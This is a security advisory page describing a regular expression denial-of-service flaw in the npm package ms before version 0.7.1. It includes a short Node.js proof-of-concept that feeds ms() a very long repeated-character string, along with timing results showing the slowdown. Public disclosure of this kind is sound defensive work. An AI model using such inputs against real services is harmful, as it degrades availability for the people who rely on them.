High

Regular Expression Denial of Service in ms

Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

bash

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	ms	< 0.7.1	0.7.1

References

CVSS score 7.5/10

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-1333, CWE-400
Platform: npm
Package: ms
Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-3fx5-fwvr-xrjg - CC BY 4.0

Vulnerability history: ms

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 10.2017 01.2023
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 1
Medium 1

Disclosures per year

2017: 1
2018: 0
2019: 0
2020: 0
2021: 0
2022: 0
2023: 1
2024: 0
2025: 0
2026: 0

05.01.2023

Vercel ms Inefficient Regular Expression Complexity vulnerability

Medium · 5.3 CVE-2017-20162 < 2.0.0 2.0.0
24.10.2017

Regular Expression Denial of Service in ms this entry

High · 7.5 CVE-2015-8315 < 0.7.1 0.7.1

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